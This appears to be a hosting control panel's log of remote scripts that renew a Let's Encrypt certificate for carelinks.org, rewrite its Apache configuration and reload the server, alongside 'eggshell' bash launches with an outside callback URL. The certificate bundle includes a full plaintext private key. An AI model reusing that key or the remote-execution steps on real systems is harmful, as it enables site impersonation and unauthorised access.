2026-02-04 12:42:27: 


command launched: /usr/local/bin/eggshell -o -c bash -rw e1efd0d7-2ba1-41ef-81f1-4e9cb1501108 -ro 39368993-5b94-4756-a01a-cd3c0c40e990 -ci https://pjy.pkp.us/~/eggshell/done?guid=[rw]


2026-02-04 12:43:00: Establishing a connection
2026-02-04 12:43:06: Establishing a connection
2026-02-04 12:43:06: 

PUT: /tmp/pkp246808

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "fb248c39-2366-434b-a1d8-509a2331c0dc" -ro "7bba80eb-b52c-40a8-abcb-42e8363b728d" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "fb248c39-2366-434b-a1d8-509a2331c0dc" -ro "7bba80eb-b52c-40a8-abcb-42e8363b728d" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 12:43:06: 

chmod 755 /tmp/pkp246808; /tmp/pkp246808; rm /tmp/pkp246808

2026-02-04 12:43:06: 


command launched: /usr/local/bin/eggshell -o -c bash -rw fb248c39-2366-434b-a1d8-509a2331c0dc -ro 7bba80eb-b52c-40a8-abcb-42e8363b728d -ci https://pjy.pkp.us/~/eggshell/done?guid=[rw]


2026-02-04 12:44:14: Establishing a remote connection
2026-02-04 12:44:21: Establishing a remote connection
2026-02-04 12:44:21: 

PUT: C:\WINDOWS\TEMP\pkp467956

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "1226c423-192f-4c30-bcd4-5c340b67b718" -ro "37af509c-f6f9-4553-b9c8-bb02825a575a" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "1226c423-192f-4c30-bcd4-5c340b67b718" -ro "37af509c-f6f9-4553-b9c8-bb02825a575a" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 12:44:21: 

C:\WINDOWS\TEMP\pkp467956





2026-02-04 12:45:01: Establishing a connection
2026-02-04 12:45:06: Establishing a connection
2026-02-04 12:45:06: 

PUT: /tmp/pkp170303

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "4de62c10-a5cc-493f-8c84-ce0deabf7106" -ro "e9746f85-d7fc-459b-b4aa-1c5203ea2a88" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "4de62c10-a5cc-493f-8c84-ce0deabf7106" -ro "e9746f85-d7fc-459b-b4aa-1c5203ea2a88" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 12:45:06: 

chmod 755 /tmp/pkp170303; /tmp/pkp170303; rm /tmp/pkp170303

2026-02-04 12:45:06: 


command launched: /usr/local/bin/eggshell -o -c bash -rw 4de62c10-a5cc-493f-8c84-ce0deabf7106 -ro e9746f85-d7fc-459b-b4aa-1c5203ea2a88 -ci https://pjy.pkp.us/~/eggshell/done?guid=[rw]


2026-02-04 12:55:17: Establishing a remote connection
2026-02-04 12:55:23: Establishing a remote connection
2026-02-04 12:55:24: 

PUT: /pkp769429

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "83e8a0f8-734c-4a5b-a38f-c37a5084ca5c" -ro "42b8b789-0ed7-4d48-8234-fc0bed5dd13e" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "83e8a0f8-734c-4a5b-a38f-c37a5084ca5c" -ro "42b8b789-0ed7-4d48-8234-fc0bed5dd13e" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 12:55:24: 

chmod 755 /pkp769429; /pkp769429; rm /pkp769429





2026-02-04 13:01:07: Establishing a remote connection
2026-02-04 13:01:07: 

PUT: /pkp207590

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "83e8a0f8-734c-4a5b-a38f-c37a5084ca5c" -ro "42b8b789-0ed7-4d48-8234-fc0bed5dd13e" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "83e8a0f8-734c-4a5b-a38f-c37a5084ca5c" -ro "42b8b789-0ed7-4d48-8234-fc0bed5dd13e" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-02-04 13:01:07: 

chmod 755 /pkp207590; /pkp207590; rm /pkp207590

2026-02-05 06:00:02: Establishing a connection
2026-02-05 06:00:04: Establishing a connection
2026-02-05 06:00:05: 

PUT: /tmp/pkp114731

#!/bin/bash
if [ -d "/var/www/carelinks/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-05 06:00:06: 

chmod 755 /tmp/pkp114731; /tmp/pkp114731; rm /tmp/pkp114731

2026-02-05 06:00:06: 


1


2026-02-05 06:00:08: Establishing a connection
2026-02-05 06:00:09: 

PUT: /tmp/pkp234761

#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
cat > 6cFqsEuwfMnkWv1_CWIZ5UZG9czx7DaOh_QZnsvjzCw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
6cFqsEuwfMnkWv1_CWIZ5UZG9czx7DaOh_QZnsvjzCw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6cFqsEuwfMnkWv1_CWIZ5UZG9czx7DaOh_QZnsvjzCw
cat > 6ntpNScGnFwn5tMuVn-47IeOBBLdWBbfAjzyswV9ttE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
6ntpNScGnFwn5tMuVn-47IeOBBLdWBbfAjzyswV9ttE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6ntpNScGnFwn5tMuVn-47IeOBBLdWBbfAjzyswV9ttE


2026-02-05 06:00:10: 

chmod 755 /tmp/pkp234761; /tmp/pkp234761; rm /tmp/pkp234761

2026-02-05 06:00:10: 




2026-02-05 06:00:20: Establishing a connection
2026-02-05 06:00:22: 

PUT: /tmp/pkp593854

#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
rm 6cFqsEuwfMnkWv1_CWIZ5UZG9czx7DaOh_QZnsvjzCw
rm 6ntpNScGnFwn5tMuVn-47IeOBBLdWBbfAjzyswV9ttE


2026-02-05 06:00:23: 

chmod 755 /tmp/pkp593854; /tmp/pkp593854; rm /tmp/pkp593854

2026-02-05 06:00:23: 




2026-02-05 06:00:23: Establishing a connection
2026-02-05 06:00:24: 

PUT: /tmp/pkp851257

#!/bin/bash
temp_file=$(mktemp)
TARGET=ce22a54aea805c8590de46790a6979d7.crt

cat > $temp_file <<'endmsg'
6a:4c:d1:f5:08:1a:98:57:61:eb:ed:81:4a:5b:4a:65

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBqx62kAKbc+fvkIgJhhtzExZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjA1MDUwMTUwWhcNMjYwNTA2MDUwMTQ5WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3Mub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
l5WZCF0nP06xa2dK1cTjj+Uxw5deBbCWAyNeWEi124R6R2NCu51WCS5N4f1qsW9O
+Fak0D7b2guUo8VfNJoTfer6QR+5gmkD/CF4Z5Kt96A6HNXLsUB34kobr5e+Rdaj
7HcbiGcIdwibUo2ipKsXySoMJRdb2gi+qlRVC9MqmOerP9D3SUxyYA4YoHS9Q3Km
ZhC5IotvUI2WgFYGXRwwdhdKeod4kW/Q72XD8+ErHlv7bQ1wG8BSH+w52+v08Pkf
RJ8UK5OkMaBSfaglhW9jGxCUFInZSY8EqnK9MJs/n99b2182yBwMt1zm148t2o2Y
TOOHChgi/RDNNbWD7S+Y5wIDAQABo4ICMDCCAiwwDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBROByGmD8gD/i3WFNoYVgyDSlnafjAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5vcmeCEXd3dy5j
YXJlbGlua3Mub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTAuY3JsMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGc
LGMidQAABAMARjBEAiALfOD8aJiq1/zKARj9zeGBwdo9R5kkRb0s24ieRfPitgIg
QVBPlkm/WxmutpnpR9QDcSSZgpiVsFmUUY1GWGavYe8AdwDLOPcViXyEoURfW8Hd
+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZwsYyKGAAAEAwBIMEYCIQD2f5iFMDHm5E70
/xekTeR+B8F+0G9XpY07isJwJbAt8wIhAIPlqMju0RP52gc63T1vp9fFwNlotVc9
KIAXrS8EhY82MA0GCSqGSIb3DQEBCwUAA4IBAQAzgui/TuGA0JCBLVF+FgfNBeb0
CTgXt0dq4TOCVRAZxmVpM/rZ5qkTVb2GvPK+xQCCRMCDZzz0wZcfJOo1deL+S2RZ
YSBBLkcJLSCTlWEtTLxbhPGzxoLUMnkbv4EPiFBOB6WvzHHtZTKX+/nIGfo6A//y
5RwpWzuEYdfH2z1Us+SKIkLxYRp9jjhvqiEBP5lsPLl3GCQUFO/kxDlIBj+PqecT
e2L0jTHdvJKcsnrpLIOWzyKJiBHU7LJ65d+4kp83IFwjt6DlppOxVoVlklVv7INB
L2F+TIR/yegEuWLhIK6SPro8RZ3gcOuEgn8JrdzAzMl3b1EF+jw9eP3xKx/l
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCXlZkIXSc/TrFr
Z0rVxOOP5THDl14FsJYDI15YSLXbhHpHY0K7nVYJLk3h/Wqxb074VqTQPtvaC5Sj
xV80mhN96vpBH7mCaQP8IXhnkq33oDoc1cuxQHfiShuvl75F1qPsdxuIZwh3CJtS
jaKkqxfJKgwlF1vaCL6qVFUL0yqY56s/0PdJTHJgDhigdL1DcqZmELkii29QjZaA
VgZdHDB2F0p6h3iRb9DvZcPz4SseW/ttDXAbwFIf7Dnb6/Tw+R9EnxQrk6QxoFJ9
qCWFb2MbEJQUidlJjwSqcr0wmz+f31vbXzbIHAy3XObXjy3ajZhM44cKGCL9EM01
tYPtL5jnAgMBAAECggEANPhgZUVUITHJGvyZ8JCgatjPJoe/IeLe0RLrdZNXBXJK
Xqbnm3M0LPoi2i15uq5oXKy+ZE0K+6ufUgl3JwUOeaqCr/47j8BN1a4Gir79jvJN
TGVDjFm4avm1qgsvQO1sFAZdNzG2Cg6WZGc9Jijpo3DPlKiQfuUeZ5wXqg2tLYgB
med9UjNoMkYsFh//0lrqagrci5rhaDrU48Qdg1iU9zLEzi274g+XjWyENKNzkQZv
Vj/pVHWO3G/0of+BmUTASaTpURbcjdpWcKCKwURRmnXIejPOEcfKHMEzxAfoDUYw
WZ5jN9Tye7Y28GpGU1E+7oY89UyvP88fTArb1YUSxQKBgQDK1s4XScHleVS5C+O9
CizDU+h6G2DNgewmS1tF1+tqPOE+SufQ2ze49L0cnoj2cUZZOGNP32acD4dshSlZ
1r5Vq4BGTlpmuDTxyJJpJg/PWOoNgP4EDMCwlo+q4hTDKDkV0jgMdDiXh92S1Eup
eae9NByD/aI+/a+Nv5hzQ0o5TQKBgQC/T+6C3TAOvDszJKusQ9yeLISmlCA1SXMY
6Ku1BKq4dycxDA3IekrgpuS1KMIULOn9TSAg+wUjXCgi+2X4XCk1f3bBaVjmrYz5
+qc+w5jjyr4Gpudlo1AIEf6Nm0BV958lYWcvceUTOQCXqZPqFVN9afmG4S6d/8RX
p60pEqYhAwKBgD+uJm+bQVtotxeNSwdLTXhZPHAxbje2pUv0dog73HWy/UgQPi0M
1bakZ0a34unz8BEMqekmitFN8sc4Gx5QU9sTh6cK7Ei5Zi3OOWD3iRkgogJxT843
rrsB2cLdTYVjeGCIaf5G8oloJ0D0k3h2cBnvZVBu7WP3QwkucI8nPgM1AoGAaZ7h
mVIwdBIrxOKb/PFCXflKCwWAeqrgZoIeOkQnVMxD0OpMub/6kujRH8suyyC41mW8
NTkg7xKz/gw5kdKf1a9XixR0RnbOfDyMFTS7thd6rgV7fzuYtbvpg5iQ/mVFccfC
xgjlZaV01EaFKRk5DOZzIqozqHtKlPI3wZNQMK0CgYEAlC1NQyDvawbu3kg940tc
C+ZcdE8aKEvd2GV4PsRJq174snr8wWNosZFQDKa2jaMZO780l3rBCv8TillprIBV
QRI3IZpABPMCIbmNjME+5KQeSFXcsWHgEAWjwqkQZmctmXetrIWxk2G/IZyR3bok
io3d3NN5aYbvNPEY2blPKos=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-05 06:00:25: 

chmod 755 /tmp/pkp851257; /tmp/pkp851257; rm /tmp/pkp851257

2026-02-05 06:00:25: 


dir=/etc/ssl/certs


2026-02-05 06:00:25: 

PUT: /tmp/pkp406366

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-05 06:00:26: 

chmod 755 /tmp/pkp406366; /tmp/pkp406366; rm /tmp/pkp406366

2026-02-05 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org.conf 41

<VirtualHost *:80>
    ServerName	carelinks.org
    ServerAlias	www.carelinks.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-05 06:00:26: 

PUT: /tmp/pkp500370

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_org.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks.org
    ServerAlias	www.carelinks.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_org.conf= 1'
fi


2026-02-05 06:00:27: 

chmod 755 /tmp/pkp500370; /tmp/pkp500370; rm /tmp/pkp500370

2026-02-05 06:00:27: 




2026-02-05 06:00:27: 

PUT: /tmp/pkp190992

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-05 06:00:28: 

chmod 755 /tmp/pkp190992; /tmp/pkp190992; rm /tmp/pkp190992

2026-02-05 06:00:28: 


.


2026-02-05 06:00:28: Establishing a connection
2026-02-05 06:00:29: 

PUT: /tmp/pkp726394

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-05 06:00:30: 

chmod 755 /tmp/pkp726394; /tmp/pkp726394; rm /tmp/pkp726394

2026-02-05 06:00:30: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
                 alias www.carelinks.net
         port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
                 alias www.carelinks.org
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443                  is a NameVirtualHost
         default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
         port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
                 alias www.carelinks.net
         port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-05 06:00:30: 

PUT: /tmp/pkp378484

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-05 06:00:31: 

chmod 755 /tmp/pkp378484; /tmp/pkp378484; rm /tmp/pkp378484

2026-02-05 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org.conf	1206

<VirtualHost *:80>
    ServerName	carelinks.org
    ServerAlias	www.carelinks.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-05 06:00:31: 

PUT: /tmp/pkp834358

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-05 06:00:32: 

chmod 755 /tmp/pkp834358; /tmp/pkp834358; rm /tmp/pkp834358

2026-02-05 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt	5368
6a:4c:d1:f5:08:1a:98:57:61:eb:ed:81:4a:5b:4a:65

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBqx62kAKbc+fvkIgJhhtzExZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjA1MDUwMTUwWhcNMjYwNTA2MDUwMTQ5WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3Mub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
l5WZCF0nP06xa2dK1cTjj+Uxw5deBbCWAyNeWEi124R6R2NCu51WCS5N4f1qsW9O
+Fak0D7b2guUo8VfNJoTfer6QR+5gmkD/CF4Z5Kt96A6HNXLsUB34kobr5e+Rdaj
7HcbiGcIdwibUo2ipKsXySoMJRdb2gi+qlRVC9MqmOerP9D3SUxyYA4YoHS9Q3Km
ZhC5IotvUI2WgFYGXRwwdhdKeod4kW/Q72XD8+ErHlv7bQ1wG8BSH+w52+v08Pkf
RJ8UK5OkMaBSfaglhW9jGxCUFInZSY8EqnK9MJs/n99b2182yBwMt1zm148t2o2Y
TOOHChgi/RDNNbWD7S+Y5wIDAQABo4ICMDCCAiwwDgYDVR0PAQH/BAQDAgWgMB0G
